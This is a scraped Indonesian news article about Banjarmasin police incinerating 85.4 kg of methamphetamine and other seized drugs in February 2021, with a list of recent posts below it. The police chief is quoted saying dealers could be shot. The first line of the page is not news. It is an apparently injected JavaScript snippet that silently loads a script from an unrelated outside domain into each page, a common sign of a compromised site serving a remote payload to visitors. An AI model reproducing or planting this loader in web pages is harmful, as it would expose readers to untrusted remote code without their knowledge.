(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

84 Kg Sabu Tersangka Emon Dimusnahkan, Kapolres Banjarmasin: Bandar Bisa Kita Tembak!


KANALKALIMANTAN.COM,BANJARMASIN – Polisi memusnahkan 85,4 Kilogram (Kg) sabu, 29.996 butir ekstasi dan 27,8 gram ganja di Rumah Sakit Ansari Saleh Banjarmasin, Rabu (10/2/2021) pagi.

Kapolres Kota Banjarmasin Kombes Pol Rachmat Hendrawan didampingi Kasatresnarkoba, Kompol Wahyu Hidayat, mengatakan, barang bukti narkoba yang dimusnahkan merupakan periode pengungkapan dari Desember hingga Februari oleh Satresnarkoba Polresta Banjarmasin serta Polsek jajaran.

Dari hasil tangkapan itu, Polresta Banjarmasin serta Polsek jajaran turut mengamankan sebanyak 12 pelaku.

Adapun sabu yang dimusnahkan itu termasuk barang bukti hasil tangkapan terbesar Polresta Banjarmasin dari pelaku Hs alias Emon (26) pada pertengahan Desember lalu.

 

Kala itu, Satresnarkoba Polresta Banjarmasin berhasil meringkus Emon dengan sabu-sabu seberat 84 Kg dan 30.000 ekstasi. Narkoba itu dimusnahkan dengan cara dibakar menggunakan alat incinerator milik rumah sakit.

“Agar terbakar habis dan tak bersisa,” kata Kapolres Kota Banjarmasin.

Atas pemusnahan itu, Kapolresta mengklaim pihaknya berhasil menyelamatkan 1.310.963 jiwa dari bahaya narkoba. Kepada para bandar narkoba, Kapolresta menghimbau agar cepat-cepat bertaubat.

“Kita akan bertindak tegas. Kalau tidak bertaubat, bisa saja kita tembak. Daripada stres menjalani hukuman lebih baik ditembak,” tegasnya.

Kapolres Kota Banjarmasin juga meminta kepada warga Banjarmasin, terkhusus kawula muda agar terus menjaga diri dari narkoba.

Sementara itu, Kepala Kejaksaan Negeri Banjarmasin Tjakra Suyana Eka Putra mengatakan, para pelaku akan dituntut sesuai fakta persidangan serta jumlah barang bukti.

“Kalau barang bukti mencapai 10 kilogram itu kita tuntut pasti di atas 15 tahun,” katanya.

“Untuk yang 84 kilogram, kita lihat dulu fakta persidangannya seperti apa. Kalau dia memang mengetahui barang yang dibawanya artinya dia turut menyebarkan. Bisa kita tuntut seumur hidup,” pungkasnya. (kanalkalimantan.com/tius)

Reporter: tius
Editor : bie


Al Ghifari

Recent Posts

Efisiensi Anggaran Pemko Banjarbaru, Sekda: Harus Memberi Manfaat Langsung ke Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More

2 jam ago

Dinas PUPR Balangan Perbaiki Jalan Muara Pitap – Lingsir

KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More

2 jam ago

Mahasiswa Profesi Ners ULM Penyuluhan KB di Desa Sungai Asam

KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More

2 jam ago

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

14 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

14 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

15 jam ago

This website uses cookies.